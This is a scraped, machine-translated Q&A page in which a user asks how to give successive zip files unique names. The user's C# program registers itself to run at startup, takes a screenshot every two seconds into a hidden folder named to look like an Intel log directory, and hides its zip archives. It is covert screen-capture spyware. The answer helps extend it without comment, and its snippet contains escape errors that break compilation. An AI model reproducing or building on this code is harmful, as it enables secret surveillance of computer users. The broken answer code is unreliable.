简体   繁体   English

如何编码我的程序以为目录中的每个新文件创建新文件名?

[英]How do I code my program to create new file name for every new file in a directory?

I have a program which takes the files from a specified folder every 2 hours and zips them into a zip file that then saves in another folder. 我有一个程序,每隔2小时从指定的文件夹中提取文件,然后将其压缩为一个zip文件,然后将其保存在另一个文件夹中。 As is, the code will create a zip file with the name "zip", but then when it goes to create a second zip file 2 hours later it won't be able to because a file with the name "zip" already exists. 照原样,该代码将创建一个名为“ zip”的zip文件,但是当它在两个小时后创建第二个zip文件时将无法执行,因为名为“ zip”的文件已经存在。 I would like to know how to make it so that the code sees that there is already a file named "zip" and names the new zip file "zip2" then "zip3", "zip4" so on and so forth. 我想知道如何制作代码,以使代码看到已经有一个名为“ zip”的文件,并将新的zip文件命名为“ zip2”,然后命名为“ zip3”,“ zip4”,依此类推。 I know that this function is already in my code earlier on for the screenshots, but I didn't write that part of the code and am very confused as to how I can take it from that part and apply it to this part. 我知道该功能早已在我的代码中用于屏幕截图,但是我没有写代码的那部分,并且对于如何从该部分获取并将其应用于该部分感到非常困惑。

Thank you very much for all the help. 非常感谢您提供的所有帮助。 Please ask me to clarify if you have any questions. 请让我澄清您是否有任何问题。

Here is my code: 这是我的代码:

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
using System.IO.Compression;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }

            {
                string startPath = @"c:\example\start";
                string zipPath = @"c:\example\result.zip";

                ZipFile.CreateFromDirectory(startPath, zipPath);

                File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
            }
        }
    }
}

I have modified inline to your code (from bottom of above excerpt): 我已经对您的代码进行了内联修改(从上面摘录的底部开始):

try
        {
            memoryImage.Save(str);
        }
        catch (Exception er)
        {
            Console.WriteLine("Sorry, there was an error: " + er.Message);
        }

        {
            string startPath = @"c:\example\start";
            string zipPath = @"c:\example\result.zip";

// start of directory logic you need to calculate the number of existing files in the directory you are about to put the new zip
  string[] filenames = Directory.GetFiles("path_to_your_directory_of_zip_files");
  int count = filenames.Length;

  if (count > 0)
    zipPath = string.Format("c:\example\result_{0}.zip", count);

//End of new logic 

  // then do your saving using the new filename...
  ZipFile.CreateFromDirectory(startPath, zipPath);

Looking at the code above, you are using Thread.Sleep to wait for a file to be produced. 查看上面的代码,您正在使用Thread.Sleep等待文件生成。 Can I suggest you look into FileSystemWatcher class which will tell you when files arrive, are deleted or modified etc. This will allow you to react in an asynchronous way instead of blocking your thread for a specified period which may or may not be long enough for things to be as you expect. 我是否可以建议您查看FileSystemWatcher类,该类将告诉您文件何时到达,被删除或修改等。这将使您以异步方式进行响应,而不是在指定的时间段内阻塞线程,该时间段可能足够长,也可能不够长。事情要像您期望的那样。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 如何在Visual Studio代码中从终端创建具有新名称的新文件? - How do we create a new file with new name from terminal in visual studio code? 每次迭代或循环遍历文档列表时,如何创建新的 PDF 文件? - How do I create new PDF file every time i iterate or loop through the documents list? 如何设置新的文件名和目录? - How can i set a new file name and directory? 如何从xml文件目标创建新的复选框 - how do i create new checkboxes from xml file target 程序每次在文件C#中输入新字符串时,都要写一行新代码 - Write a new line of code every time the program enters a new string to the file C# 如何将新项目添加到现有项目并从新项目创建 dll 文件? - How can i add a new project to my existing already project and create a dll file from the new project? 每次执行程序时,使用StreamWriter创建新文件 - Create new file with StreamWriter everytime the program is executed 我如何从新文件开始 - how do i start with fresh with a new file 如何将变量保存到新的文本文件,以便下次运行程序时加载这些变量? - How Do I save variables to a new text file so that those variables are loaded the next time the program runs? 如何从文本文件中读取数据,然后使用新计算编写新文本文件并使用我的子类方法进行计算? - How do I read data from a text file, then write a new text file with new calculations and use my subclass methods for calculations?
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM